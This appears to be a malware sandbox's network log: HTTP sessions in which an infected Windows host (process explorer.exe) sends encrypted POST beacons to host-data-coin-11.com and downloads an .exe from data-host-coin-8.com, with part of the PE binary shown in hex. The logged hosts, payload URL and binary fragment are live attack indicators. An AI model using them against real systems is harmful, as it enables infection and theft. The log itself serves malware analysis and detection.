Dec 31, 2021 19:13:07.977859020 CET	12117	OUT	Data Raw: 9b b5 65 56 6c d2 d8 cb 51 f3 9f cb c1 55 f0 7f 2e 42 69 52 f1 ef 09 a8 6d 3b 1f 31 42 55 52 1b 07 c6 c3 c3 7f 5b 15 02 c6 fc fe d8 0e c6 b8 67 12 10 bb 81 31 46 bc ec e0 39 41 45 f1 cc 5b e8 76 aa 3c 1c cd 1f 35 ff d2 7d c4 8b ce 8a d0 3f d9 95 Data Ascii: eVlQU.BiRm;1BUR[g1F9AE[v<5}?a#*<Ut~$X!@xr)sp=oOj4%C-IK8>I/>,"`gPM6_:ZC(k;d3sNx6JBo53
Dec 31, 2021 19:13:07.977884054 CET	12122	OUT	Data Raw: ac 7a 43 2f be a0 30 6f 4e 36 f1 d3 db c3 cf d3 c3 21 6f b2 c5 fa 82 97 3a 06 66 ff a9 e7 b2 43 cc ba 83 4f 8e 96 40 e5 a2 b5 99 fb 45 99 99 52 51 6e 76 fe 86 c4 f2 af 81 8e 1e ba aa 89 58 05 01 47 71 b1 e8 f8 3d 52 4d 45 f1 5e 99 bf 6d e7 25 63 Data Ascii: zC/0oN6!o:fCO@ERQnvXGq=RME^m%cvRhTL9CorU-W_5=@'`0-atta6(kPux8d);YY8joU UpP0A~V#z(Ar5O'u'Rq]
Dec 31, 2021 19:13:07.978096008 CET	12127	OUT	Data Raw: cd 85 2e 7c d8 00 4b d2 32 5b eb 5b b4 f4 09 62 22 7d 0c 7f d2 38 a2 bd 73 cc 3b bd 2d 9c f6 4c 15 5d 4a 83 8f 64 b2 ff 0c af 97 6e 38 6d 1c 6e 24 54 c7 22 a6 fb b9 55 77 1d 97 c5 2d 55 d6 27 d3 e3 97 07 7a 9e d1 0c a6 b2 67 5f f4 ad 2f 82 e7 b2 Data Ascii: .\|K2[[b"}8s;-L]Jdn8mn$T"Uw-U'zg_/\|-DZTP3<_Bh?qudNF;a}]9wAah2CwHk"(])EiWk'FdO?pg!?w7x,t{,[s9"gMRFt
Dec 31, 2021 19:13:08.026436090 CET	12140	OUT	Data Raw: 02 7e f5 b6 d6 ec 2a 00 7b 63 23 dc 03 35 76 2a 1d b4 97 85 e9 15 39 26 02 72 56 ad 9a 2b 55 14 47 8a 6e 04 0c ed 3d 13 70 58 cb fb fb 36 33 ce 17 fa da 9c 56 83 77 bb f0 2e 74 7c f7 79 2c 6d fa b4 aa 77 53 32 3a 4a c9 02 3d de 11 f8 37 69 c4 02 Data Ascii: ~{c#5v9&rV+UGn=pX63Vw.t\|y,mwS2:J=7iD>CKql6u`Dw!fWRb.I {GO6t+ouH)&oe+2l`B5:_sX;a)_$(9XQdch0>hIk1$mq"p{qeO<~1]
Dec 31, 2021 19:13:08.026503086 CET	12148	OUT	Data Raw: ec c6 b1 87 8f 14 e9 29 9d e1 a0 f5 f0 1a ba bb 3a 2f aa 73 20 82 8f 39 3b 6c ec f3 ec 6a 7f b6 9b 0d f2 da ab 7b 63 1a 3a 2d f2 e8 09 8d f3 75 4c 15 83 d0 ab ad f4 be 77 4d 6b 9a 13 58 e2 47 51 2a 61 91 ac 62 54 93 f4 be 12 e9 64 c0 d5 aa cf d3 Data Ascii: ):/s 9;lj{c:-uLwMkXGQabTd;dU7MPQ:%OmX"T_mHA=i@PKXdMz+i(K_mGF]B.Mz<k\z1Kx ?V=)F?Zxd
Dec 31, 2021 19:13:08.026633978 CET	12170	OUT	Data Raw: 0d 4c 0a 4a 00 b6 0f 40 20 2a 78 77 c5 dc ed 8a e4 df 14 5a bd fb b6 7c dd a1 3e 4e fe 1e 82 b5 37 4e be 68 e9 42 dd 9d e6 69 d2 8d 3e 2f 52 70 63 2c 89 ba f5 d0 f4 e3 32 b6 32 8b 33 de 3e b6 d8 42 48 b8 f9 49 72 91 a1 ca f8 03 06 09 e7 13 3b 1d Data Ascii: LJ@ *xwZ\|>N7NhBi>/Rpc,223>BHIr;2 7+t!}1$q9.c9U"}"4?1l{(miJnh.5g^^7M>~k\|fl>aLa3W@J5Ifa3>q>
Dec 31, 2021 19:13:08.026782036 CET	12177	OUT	Data Raw: 1c a8 a2 9e 72 d2 a3 38 cb cd b1 5c 08 90 42 17 24 44 72 82 0a 5f ee c2 f6 07 9d bd 01 80 d4 b7 aa 15 64 cc 4c bf 01 b8 26 27 fc 12 27 f8 ff 15 ce 1c 9c 26 41 31 39 4c 93 55 36 bf 00 37 88 87 e6 f2 c1 69 e2 2f a6 a4 a1 65 a1 36 b4 87 56 3b 2e 66 Data Ascii: r8\B$Dr_dL&''&A19LU67i/e6V;.f(r<NiYRp P A*=DVi!1%ZUIPiAogIPK\PLHx4^4 J`BO/0=tT5C/R..pfDzd<N
Dec 31, 2021 19:13:08.075196028 CET	12180	OUT	Data Raw: 7c d8 31 46 b6 fd be 7b db eb d9 d3 32 72 39 bd da 41 8b 30 4d 3f f5 cb f9 0d d7 0c 04 22 a7 d6 0b 89 3c a8 da ac 58 5c 18 16 59 c8 f3 5e 33 db 10 54 e4 d6 79 0a bf b2 f5 e1 5c 53 1b 1a 39 60 d3 3b be a1 02 77 4a f7 ad a4 0b 48 e3 30 9f 14 1a 72 Data Ascii: \|1F{2r9A0M?"<X\Y^3Ty\S9`;wJH0rn*=\_7C3<mLWs8&G7G`1sX1.g;-LOu)./ZuQoWefCjh4Ba<n)0%FC+vV>1\|V)
Dec 31, 2021 19:13:08.770294905 CET	12183	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 31 Dec 2021 18:13:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49835	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:22.273097992 CET	13262	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hpdhk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 186 Host: host-data-coin-11.com
Dec 31, 2021 19:13:22.275616884 CET	13262	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 26 cf de 64 Data Ascii: lIw3xKaEMnXwmDu$f]d&dBywdmUE>MnfGQ5+COO%"9~'%'M4.e`F!-Er/"\oRw-
Dec 31, 2021 19:13:22.350788116 CET	13262	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ee af 88 70 bc 57 dd 42 d0 fc 25 84 26 e8 c3 90 52 2e ee a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWB%&R.c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49836	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:22.427601099 CET	13263	OUT	GET /files/2264_1640622147_2258.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 31, 2021 19:13:22.483762026 CET	13264	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:22 GMT Content-Type: application/x-msdos-program Content-Length: 844800 Connection: close Last-Modified: Mon, 27 Dec 2021 16:22:27 GMT ETag: "ce400-5d4231c541a6e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 92 ed 9f 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 9e 0b 00 00 26 09 00 00 00 00 00 30 ee 09 00 00 10 00 00 00 b0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 48 00 00 04 00 00 92 c0 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 9c 0b 00 28 00 00 00 00 40 14 00 90 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 28 21 00 00 60 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 9d 0b 00 00 10 00 00 00 9e 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 b0 0b 00 00 8c 00 00 00 a2 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 75 77 75 00 00 00 05 00 00 00 00 20 14 00 00 02 00 00 00 2e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 61 78 00 00 00 00 93 0d 00 00 00 30 14 00 00 0e 00 00 00 30 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 b2 33 00 00 40 14 00 00 64 00 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 40 00 00 00 00 48 00 00 42 00 00 00 a2 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 9f 0b 00 74 9f 0b 00 88 9f 0b 00 9a 9f 0b 00 ac 9f 0b 00 c2 9f 0b 00 d2 9f 0b 00 e8 9f 0b 00 f8 9f 0b 00 14 a0 0b 00 28 a0 0b 00 3c a0 0b 00 52 a0 0b 00 6c Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@/LQ/x*IAC@/yv/HA/OARich@PEL_&0@PHL(@bH(!`@.text `.dataho@.huwu .@.sax00@.rsrc3@d>@@.reloc@HB@BXt(<Rl
Dec 31, 2021 19:13:22.483783960 CET	13266	IN	Data Raw: a0 0b 00 86 a0 0b 00 9e a0 0b 00 b2 a0 0b 00 be a0 0b 00 cc a0 0b 00 e4 a0 0b 00 06 a1 0b 00 12 a1 0b 00 22 a1 0b 00 3e a1 0b 00 50 a1 0b 00 60 a1 0b 00 6e a1 0b 00 78 a1 0b 00 86 a1 0b 00 92 a1 0b 00 a4 a1 0b 00 bc a1 0b 00 ca a1 0b 00 da a1 0b Data Ascii: ">P`nx.L^t*8JVbt$@^z,
Dec 31, 2021 19:13:22.483798981 CET	13267	IN	Data Raw: 00 76 00 69 00 6d 00 00 00 4b 69 62 20 72 65 76 6f 6d 75 76 75 66 69 62 6f 20 6d 69 79 69 66 20 79 75 66 6f 62 65 68 00 00 53 75 67 6f 66 69 63 61 6c 61 6c 75 6a 20 74 75 70 65 6d 69 63 6f 62 61 00 00 00 00 54 6f 67 20 62 65 6d 61 6c 20 7a 75 6d Data Ascii: vimKib revomuvufibo miyif yufobehSugoficalaluj tupemicobaTog bemal zumesuyamop zemim xuzaxaruroluZumohodove linucasuxadefi dunixoxehevavohupezigisilegurazemalugisifbuvamisRa
Dec 31, 2021 19:13:22.483814001 CET	13269	IN	Data Raw: 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 75 64 69 6f 20 31 30 2e 30 5c 56 43 5c 69 6e 63 6c 75 64 65 5c 73 74 72 65 61 6d 62 75 66 00 00 00 00 00 00 00 00 10 ab 40 00 13 91 49 00 02 86 49 Data Ascii: m Files (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf@IIIIIII,IQIIII!I&I)Ibad locale nameC:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocaleC:\Program
Dec 31, 2021 19:13:22.483830929 CET	13270	IN	Data Raw: 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6c 00 00 46 72 65 65 00 00 00 00 f4 1f 40 00 ec 1f 40 00 e8 1f 40 00 e0 1f 40 00 d8 1f 40 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 Data Ascii: oreCRTNormalFree@@@@@Error: memory allocation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.Client hook allocation failure at file %hs line %d.f:\
Dec 31, 2021 19:13:22.483845949 CET	13271	IN	Data Raw: 00 6b 00 55 00 73 00 65 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 6e 00 65 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f 00 52 00 45 00 5f 00 4c 00 49 00 4e 00 45 00 20 00 26 00 26 00 20 00 70 00 48 00 65 00 61 00 64 Data Ascii: kUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQHEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memo
Dec 31, 2021 19:13:22.483861923 CET	13273	IN	Data Raw: 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 45 4e 44 2e 0a Data Ascii: urn value!_heapchk fails with _HEAPBADPTR._heapchk fails with _HEAPBADEND._heapchk fails with _HEAPBADNODE._heapchk fails with _HEAPBADBEGIN._CrtSetDbgFlag(fNewBits==_CRTDBG_REPORT
Dec 31, 2021 19:13:22.483877897 CET	13274	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2021 19:13:22.483889103 CET	13275	IN	Data Raw: b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
Dec 31, 2021 19:13:22.483901024 CET	13277	IN	Data Raw: 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 78 38 36 5c 63 72 74 5c 73 72 63 5c 73 65 74 6c 6f 63 61 6c 2e 63 00 00 00 73 00 65 00 74 00 6c 00 6f 00 63 00 61 00 6c 00 65 00 00 00 00 00 00 00 4c 00 43 00 5f 00 4d Data Ascii: :\dd\vctools\crt_bld\self_x86\crt\src\setlocal.csetlocaleLC_MIN <= _category && _category <= LC_MAXstrncpy_s(lctemp, (sizeof(lctemp) / size
Dec 31, 2021 19:13:22.532495975 CET	13278	IN	Data Raw: 00 20 00 28 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6e 00 61 00 6d 00 65 00 73 00 2d 00 3e 00 73 00 7a 00 43 00 6f 00 64 00 65 00 50 00 61 00 67 00 65 00 29 00 20 00 2f 00 20 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6e 00 61 00 6d 00 65 Data Ascii: (sizeof(names->szCodePage) / sizeof(names->szCodePage[0])), locale, len)strncpy_s(names->szCountry, (sizeof(names->sz

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49837	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:25.266483068 CET	14140	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jtoaj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 249 Host: host-data-coin-11.com
Dec 31, 2021 19:13:25.266503096 CET	14140	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 89 66 5d 02 c9 a1 c1 64 39 82 bf 61 Data Ascii: lIw3xKaEMnXwmDu$f]d9a(~sd_}+Z#uwf[{9\|N"<2f-96_.X!5Ed>,I'xc)P=;kYo jX4E?ZF8ux.5un_wsh3S
Dec 31, 2021 19:13:25.342657089 CET	14141	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49839	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:25.440021992 CET	14148	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://heocl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 120 Host: host-data-coin-11.com
Dec 31, 2021 19:13:25.440041065 CET	14148	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 00 a0 d0 0b Data Ascii: lIw3xKaEMnXwmDu$f]d@E/rqXuf'"$WWceLO2z/w
Dec 31, 2021 19:13:25.519627094 CET	14148	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49840	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:25.600981951 CET	14149	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qslreuhamb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: host-data-coin-11.com
Dec 31, 2021 19:13:25.600991011 CET	14150	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 34 b2 d7 1f Data Ascii: lIw3xKaEMnXwmDu$f]d4("e(<&^5y>,gp{1\7!DL{Oz*DiyDH7a`q\|y6GGuc(&Zr9n}Ha:ipRKzKVfjjz(%
Dec 31, 2021 19:13:25.680125952 CET	14151	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49842	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:25.765249968 CET	14151	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://psxeujwpx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 224 Host: host-data-coin-11.com
Dec 31, 2021 19:13:25.765260935 CET	14152	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 17 df 98 01 Data Ascii: lIw3xKaEMnXwmDu$f]d@kh,~@lDZAaW_"Rg~n6O)R\1>^zXCb238&`;1*8u#BD`s(nSkvdtoSQ)>
Dec 31, 2021 19:13:25.842597008 CET	14158	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49843	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:25.918551922 CET	14159	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://imjii.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 165 Host: host-data-coin-11.com
Dec 31, 2021 19:13:25.918571949 CET	14159	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 34 b9 9a 36 Data Ascii: lIw3xKaEMnXwmDu$f]d46SG RKiEYy3l[gC5-8~Z0e^5WbBi]CdN$E_E@8~
Dec 31, 2021 19:13:25.995672941 CET	14161	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49844	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:26.082667112 CET	14162	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://huuhypjojt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 133 Host: host-data-coin-11.com
Dec 31, 2021 19:13:26.082678080 CET	14162	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 30 a4 dd 6a Data Ascii: lIw3xKaEMnXwmDu$f]d0j[:C!kyI\|lUUn>+@rb8B$
